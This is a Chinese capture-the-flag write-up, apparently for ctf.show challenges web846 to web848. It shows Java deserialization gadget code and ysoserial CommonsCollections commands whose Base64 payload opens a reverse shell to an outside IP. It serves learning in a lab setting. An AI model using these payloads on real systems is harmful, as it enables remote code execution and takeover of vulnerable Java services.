        //创建一个ObjectOutputStream对象oos,并将data作为其输出目标。
        ObjectOutput oos =new ObjectOutputStream(data);
        //调用oos.writeObject(obj),将对象obj序列化到data中。
        oos.writeObject(obj);
        //调用oos.flush(),确保所有数据都被写入data
        oos.flush();
        //调用oos.close(),关闭输出流。
        oos.close();
        //使用Base64.getEncoder().encodeToString(data.toByteArray())将序列化后的字节数组编码为Base64字符串,
        // 并打印到控制台
        System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
    };

    public static void main(String[] args) throws Exception{
        //创建了一个URL对象url
        URL url=new URL("https://28e72e25-4179-4e4f-a721-fd6c0bdb13ea.challenge.ctf.show/");
        //使用url.getClass()获取url对象的类类型,存储到变量c中
        Class<?> c=url.getClass();
        //使用反射获取URL类中名为hashCode的字段。hashcode字段存储了对象的哈希码值
        Field hashcode=c.getDeclaredField("hashCode");
        //调用setAccessible(true),允许访问私有字段hashCode。
        hashcode.setAccessible(true);
        //将url对象的hashCode字段值设置为1。
        hashcode.set(url,1);
        //创建一个HashMap对象h,用于存储URL对象作为键,Integer作为值的键值对。
        HashMap<URL,Integer> h = new HashMap<URL,Integer>();
        //将url对象作为键,1作为值,添加到HashMap中。
        h.put(url,1);
        //将url对象的hashCode字段值修改为-1。这可能导致在HashMap内部的哈希表中,该键的位置发生变化。
        hashcode.set(url,-1);
        serialize(h);
    }
}
 

web847

1、打开题目,题目环境是java7,cc3.1的库,直接用CC1打就行了

image-20250427180312040

2、先生成反弹shell的命令

image-20250427182541958

ysoserial工具payload,因为题目是cc3.1的库,所以这里CommonsCollections1就行,反弹shell命令记得编码

java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuOS4xOTguNTcvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}"|base64

java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuOS4xOTguNTcvNTU2NiAwPiYx}|{base64,-d}|{bash,-i}"|base64

web848

java -jar ysoserial.jar CommonsCollections3 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuOS4xOTguNTcvNTU2NiAwPiYx}|{base64,-d}|{bash,-i}"|base64 

posted @ 2025-09-26 16:18  破防剑客  阅读(16)  评论(0)    收藏  举报